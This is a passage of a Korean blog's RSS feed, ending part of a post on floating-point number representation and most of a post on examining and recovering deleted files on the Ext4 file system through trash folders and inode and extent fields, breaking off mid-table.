&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최종: 1.01 * 2 ^ -1&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;0 ~ 127은 음수, 128 ~ 255는 양수를 표현하도록 만들었다. 더 자세히는 0과 255는 0이나 0에 한없이 수렴하는 작은 수들, NaN(Not a Number) 같은 것들을 표현하기 위해 특별하게 지정되어 있어 일반적인 표현 범위에 포함되지 않으며, 이런 수들을 표현할 때는 이 글에서 설명한 정규화 방법이 적용되지 않는다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;10진수 소수의 2진수 변환 (오차)&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서 컴퓨터에서 10진수를 2진수를 변환할 때 오차가 발생한다고 말하는건 소수를 부동소수점 방식으로 변환할 때 소수의 길이(예를 들면 무한소수)가 저장공간을 초과하는 경우를 말한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;프로그래밍 언어에서 소수(실수)를 표현할 때 float, double 형이 사용된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;float는 32비트, double은 64비트인데 단정도(32비트), 배정도(64비트)와 동일하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서 double형 보다 float형이 오차가 더 크다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;고정소수법에 비해 부동소수법은 지수로 인해 표현 가능한 숫자의 범위가 넓어져 오차를 줄일 수 있다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Reference&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://daldalhanstory.tistory.com/147&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://daldalhanstory.tistory.com/147&lt;/a&gt;&lt;/p&gt;</description>
      <category>분야/Programming</category>
      <author>오리꽥이로</author>
      <guid isPermaLink="true">https://roklcw.tistory.com/127</guid>
      <comments>https://roklcw.tistory.com/127#entry127comment</comments>
      <pubDate>Mon, 13 Jan 2025 16:02:24 +0900</pubDate>
    </item>
    <item>
      <title>Ext4 삭제된 파일 복구</title>
      <link>https://roklcw.tistory.com/108</link>
      <description>&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;* 직접 실험을 하며 작성한 내용으로 틀린 내용이 매우매우 있을 수 있음. (직접 분석시 케이스 참고용으로만 사용할 것.)&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;I. 휴지통 분석&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;baseball.jpg 는 shift+delete, Flag_of_South_Korea.svg.png는 휴지통으로 집어넣은 후 삭제했다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;휴지통에 있는 파일은 삭제된 파일이라고 보기는 어렵지만.. 아무튼 별도의 포스팅을 할 정도는 아니라 여기에 작성했다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;휴지통 삭제&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Ext4 파일시스템을 사용하는 우분투에서는 다음 경로에 삭제된 파일이 저장된다. (휴지통)&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%; text-align: center;&quot;&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;~/.local/share/Trash/files&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(Ext4를 사용하는 모든 운영체제가 동일하다고 볼 순 없다.)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;998&quot; data-origin-height=&quot;291&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b43WTb/btsJS88jH9e/HISmgvP3mYplNXsaSuTc9K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b43WTb/btsJS88jH9e/HISmgvP3mYplNXsaSuTc9K/img.png&quot; data-alt=&quot;삭제된 파일&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b43WTb/btsJS88jH9e/HISmgvP3mYplNXsaSuTc9K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb43WTb%2FbtsJS88jH9e%2FHISmgvP3mYplNXsaSuTc9K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;998&quot; height=&quot;291&quot; data-origin-width=&quot;998&quot; data-origin-height=&quot;291&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;삭제된 파일&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;삭제된 파일을 복원할 때 원래 있던 경로를 확인하는 방법 무엇일까?&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;다음 경로에 파일의 원래 경로를 저장해 놓고 복원시 참고하게 된다.&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 17px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 100%; text-align: center; height: 17px;&quot;&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;~/.local/share/Trash/info&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;846&quot; data-origin-height=&quot;368&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bcRqRf/btsJUb3764G/2ZIj6fWRbLNVmKU5tzPKO0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bcRqRf/btsJUb3764G/2ZIj6fWRbLNVmKU5tzPKO0/img.png&quot; data-alt=&quot;삭제된 파일 원래 경로&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bcRqRf/btsJUb3764G/2ZIj6fWRbLNVmKU5tzPKO0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbcRqRf%2FbtsJUb3764G%2F2ZIj6fWRbLNVmKU5tzPKO0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;846&quot; height=&quot;368&quot; data-origin-width=&quot;846&quot; data-origin-height=&quot;368&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;삭제된 파일 원래 경로&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;inode 변화&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;휴지통에 옮겼을 때 inode 값은 그대로 유지될까?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(작성중)&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;II. 영구적으로 삭제된 파일 복구하기&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 포스팅에서 &lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;/home/user/Downloads 경로에 있는 Flag_of_South_Korea.svg.png,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;baseball.jpg 파일을 모두 삭제했다.&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://roklcw.tistory.com/66&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://roklcw.tistory.com/66&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1728017945378&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;Ext4 파일 데이터 접근 (with Directory Entry)&quot; data-og-description=&quot;모두의 dream Ext4 파일 데이터 접근 (with Directory Entry) 본문 분야/Digital Forensics Ext4 파일 데이터 접근 (with Directory Entry) 오리꽥이로 2023. 9. 15. 10:05&quot; data-og-host=&quot;roklcw.tistory.com&quot; data-og-source-url=&quot;https://roklcw.tistory.com/66&quot; data-og-url=&quot;https://roklcw.tistory.com/66&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/MEycV/hyXaFLCJtI/HOJMXGVaHkD9KwnkQa8gLK/img.jpg?width=300&amp;amp;height=300&amp;amp;face=128_99_185_162&quot;&gt;&lt;a href=&quot;https://roklcw.tistory.com/66&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://roklcw.tistory.com/66&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/MEycV/hyXaFLCJtI/HOJMXGVaHkD9KwnkQa8gLK/img.jpg?width=300&amp;amp;height=300&amp;amp;face=128_99_185_162');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Ext4 파일 데이터 접근 (with Directory Entry)&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;모두의 dream Ext4 파일 데이터 접근 (with Directory Entry) 본문 분야/Digital Forensics Ext4 파일 데이터 접근 (with Directory Entry) 오리꽥이로 2023. 9. 15. 10:05&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;roklcw.tistory.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;삭제된 파일 중 &lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;Flag_of_South_Korea.svg.png의 삭제 전, 후를 비교해봤다.&lt;/span&gt;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;파일 삭제 후 변화&lt;/span&gt;&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;디렉토리 엔트리&lt;/span&gt;&lt;/h4&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bzl3Jb/btsJUxGMmGU/uFBJsDr1b8Uk78bpV6k5Mk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bzl3Jb/btsJUxGMmGU/uFBJsDr1b8Uk78bpV6k5Mk/img.png&quot; data-origin-width=&quot;758&quot; data-origin-height=&quot;279&quot; data-is-animation=&quot;false&quot; style=&quot;width: 49.2253%; margin-right: 10px;&quot; data-widthpercent=&quot;49.8&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bzl3Jb/btsJUxGMmGU/uFBJsDr1b8Uk78bpV6k5Mk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbzl3Jb%2FbtsJUxGMmGU%2FuFBJsDr1b8Uk78bpV6k5Mk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;758&quot; height=&quot;279&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cy2qa8/btsJVNVV9d1/7417zReyaFN2feeIYea7Jk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cy2qa8/btsJVNVV9d1/7417zReyaFN2feeIYea7Jk/img.png&quot; data-origin-width=&quot;753&quot; data-origin-height=&quot;275&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;50.2&quot; style=&quot;width: 49.6119%;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cy2qa8/btsJVNVV9d1/7417zReyaFN2feeIYea7Jk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcy2qa8%2FbtsJVNVV9d1%2F7417zReyaFN2feeIYea7Jk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;753&quot; height=&quot;275&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;삭제 전 / 후&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;/home/user/Downlods를 확인해보니 기존에 존재하던 &lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;Flag_of_South_Korea.svg.png의 디렉토리 엔트리가 사라진 것을 확인할 수 있었다. 따라서 당장 Root directory에서 파일을 복구할 수 있는 경로를 찾기는 어려워 보인다.&lt;/span&gt;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;파일 데이터&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;Flag_of_South_Korea.svg.png 파일의 데이터는 동일한 경로에 잘 남아있다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Zpmr1/btsJVCm3x0N/7H3pAKKDviNhdiaXUGhgc0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Zpmr1/btsJVCm3x0N/7H3pAKKDviNhdiaXUGhgc0/img.png&quot; data-origin-width=&quot;765&quot; data-origin-height=&quot;681&quot; data-is-animation=&quot;false&quot; style=&quot;width: 43.0752%; margin-right: 10px;&quot; data-widthpercent=&quot;43.58&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Zpmr1/btsJVCm3x0N/7H3pAKKDviNhdiaXUGhgc0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FZpmr1%2FbtsJVCm3x0N%2F7H3pAKKDviNhdiaXUGhgc0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;765&quot; height=&quot;681&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cw1LGx/btsJUlNqap5/KYLaNCV1snO0frWT6sDuzk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cw1LGx/btsJUlNqap5/KYLaNCV1snO0frWT6sDuzk/img.png&quot; data-origin-width=&quot;778&quot; data-origin-height=&quot;535&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;56.42&quot; style=&quot;width: 55.762%;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cw1LGx/btsJUlNqap5/KYLaNCV1snO0frWT6sDuzk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcw1LGx%2FbtsJUlNqap5%2FKYLaNCV1snO0frWT6sDuzk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;778&quot; height=&quot;535&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;삭제 전 / 후&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;파일 삭제 실습 1&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;2개의 실습파일 &lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;Flag_of_South_Korea.svg.png,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;baseball.jpg&lt;/span&gt; 삭제 후 재부팅을 최소 3회 진행했다.&lt;/span&gt;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;삭제 전 / 후 비교&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Flag_of_South_Korea.svg.png 파일의 inode를 조사해봤다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/FSxnK/btsJVLDQpc2/oMEwL54aCzbB7Wfzy2X2K1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/FSxnK/btsJVLDQpc2/oMEwL54aCzbB7Wfzy2X2K1/img.png&quot; data-origin-width=&quot;608&quot; data-origin-height=&quot;253&quot; data-is-animation=&quot;false&quot; style=&quot;width: 49.3632%; margin-right: 10px;&quot; data-widthpercent=&quot;49.94&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/FSxnK/btsJVLDQpc2/oMEwL54aCzbB7Wfzy2X2K1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FFSxnK%2FbtsJVLDQpc2%2FoMEwL54aCzbB7Wfzy2X2K1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;608&quot; height=&quot;253&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bo7879/btsJUCVq7nu/OtlkLrkcqgqC9GDguNaiqk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bo7879/btsJUCVq7nu/OtlkLrkcqgqC9GDguNaiqk/img.png&quot; data-origin-width=&quot;619&quot; data-origin-height=&quot;257&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;50.06&quot; style=&quot;width: 49.474%;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bo7879/btsJUCVq7nu/OtlkLrkcqgqC9GDguNaiqk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbo7879%2FbtsJUCVq7nu%2FOtlkLrkcqgqC9GDguNaiqk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;619&quot; height=&quot;257&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;삭제 전 / 후&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 119px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 14.6512%; height: 17px; text-align: center;&quot;&gt;offset&lt;/td&gt;
&lt;td style=&quot;width: 16.6279%; height: 17px; text-align: center;&quot;&gt;이름&lt;/td&gt;
&lt;td style=&quot;width: 33.2558%; height: 17px; text-align: center;&quot;&gt;삭제 전&lt;/td&gt;
&lt;td style=&quot;width: 35.4651%; height: 17px; text-align: center;&quot;&gt;삭제 후&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 14.6512%; height: 17px; text-align: center;&quot;&gt;0x00 ~ 0x01&lt;/td&gt;
&lt;td style=&quot;width: 16.6279%; height: 17px; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;i_mode&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 68.7209%; height: 17px; text-align: center;&quot; colspan=&quot;2&quot;&gt;파일의 권한과 소유자를 나타냄.&lt;br /&gt;구조: type(4bit) + setuid/setgid/sticky bit + user 권한 (3bit) + group 권한 (3bit) + other 권한 (3bit) &lt;br /&gt;&lt;br /&gt;0x81B4 &amp;rarr; 1000 000 110 110 100&lt;br /&gt;&lt;br /&gt;1000 (0x8000) : &lt;span style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;Regular file&lt;/span&gt;&lt;br /&gt;000: NULL&lt;br /&gt;110 110 100 : rw-rw-r--&lt;br /&gt;&lt;br /&gt;결과: Regular file, -rw-rw-r--&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 14.6512%; height: 17px; text-align: center;&quot;&gt;0x04 ~ 0x07&lt;/td&gt;
&lt;td style=&quot;width: 16.6279%; height: 17px; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;i_size_lo&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;(Size in bytes)&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px; width: 33.2558%; text-align: center;&quot;&gt;0x61C8&lt;/td&gt;
&lt;td style=&quot;width: 35.4651%; height: 17px; text-align: center;&quot;&gt;0x05&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 34px;&quot;&gt;
&lt;td style=&quot;width: 14.6512%; height: 34px; text-align: center;&quot;&gt;0x14 ~ 0x17&lt;/td&gt;
&lt;td style=&quot;width: 16.6279%; height: 34px; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #ffffff; text-align: start;&quot;&gt;i_dtime&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;(Deletion Time)&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 33.2558%; height: 34px; text-align: center;&quot;&gt;0x0000&lt;/td&gt;
&lt;td style=&quot;width: 35.4651%; height: 34px; text-align: center;&quot;&gt;0x0000&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 34px;&quot;&gt;
&lt;td style=&quot;width: 14.6512%; height: 34px; text-align: center;&quot;&gt;0x6C&amp;nbsp;~&amp;nbsp;0x6F&lt;/td&gt;
&lt;td style=&quot;width: 16.6279%; height: 34px; text-align: center;&quot;&gt;i_size_high&amp;nbsp;/&amp;nbsp;i_dir_acl&lt;/td&gt;
&lt;td style=&quot;width: 33.2558%; height: 34px; text-align: center;&quot;&gt;0x0000&lt;/td&gt;
&lt;td style=&quot;width: 35.4651%; height: 34px; text-align: center;&quot;&gt;0x0000&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;inode i_block 값을 비교해본 결과는 다음과 같다.&lt;/p&gt;
&lt;table style=&quot;color: #333333; text-align: start; border-collapse: collapse; width: 100%; height: 109px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 12.5%; height: 20px; text-align: center;&quot;&gt;분류&lt;/td&gt;
&lt;td style=&quot;width: 12.5%; height: 20px; text-align: center;&quot;&gt;offset&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 20px; text-align: center;&quot;&gt;이름&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 20px; text-align: center;&quot;&gt;삭제 전&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;삭제 후&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 12.5%; height: 20px; text-align: center;&quot;&gt;Header&lt;/td&gt;
&lt;td style=&quot;width: 12.5%; height: 20px; text-align: center;&quot;&gt;0x06 ~ 0x07&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 20px; text-align: center;&quot;&gt;Header의 eh_depth&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 20px; text-align: center;&quot;&gt;0&amp;nbsp;&amp;rarr; 따라서 Leaf nodes&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;0&amp;nbsp;&amp;rarr; 따라서 Leaf nodes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 18px;&quot;&gt;
&lt;td style=&quot;width: 12.5%; height: 69px; text-align: center;&quot; rowspan=&quot;4&quot;&gt;Leaf nodes 1&lt;/td&gt;
&lt;td style=&quot;width: 12.5%; height: 18px; text-align: center;&quot;&gt;0x00&amp;nbsp;~&amp;nbsp;0x03&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 18px; text-align: center;&quot;&gt;Leaf nodes ee_block&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 18px; text-align: center;&quot;&gt;0&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 12.5%; height: 17px; text-align: center;&quot;&gt;0x04&amp;nbsp;~&amp;nbsp;0x05&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px; text-align: center;&quot;&gt;Leaf nodes ee_len&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px; text-align: center;&quot;&gt;7&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 12.5%; height: 17px; text-align: center;&quot;&gt;0x06&amp;nbsp;~&amp;nbsp;0x07&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px; text-align: center;&quot;&gt;Leaf nodes ee_start_hi&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px; text-align: center;&quot;&gt;0x0000&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;0x0000&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 12.5%; height: 17px; text-align: center;&quot;&gt;0x08&amp;nbsp;~&amp;nbsp;0x0B&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px; text-align: center;&quot;&gt;Leaf nodes ee_start_lo&lt;/td&gt;
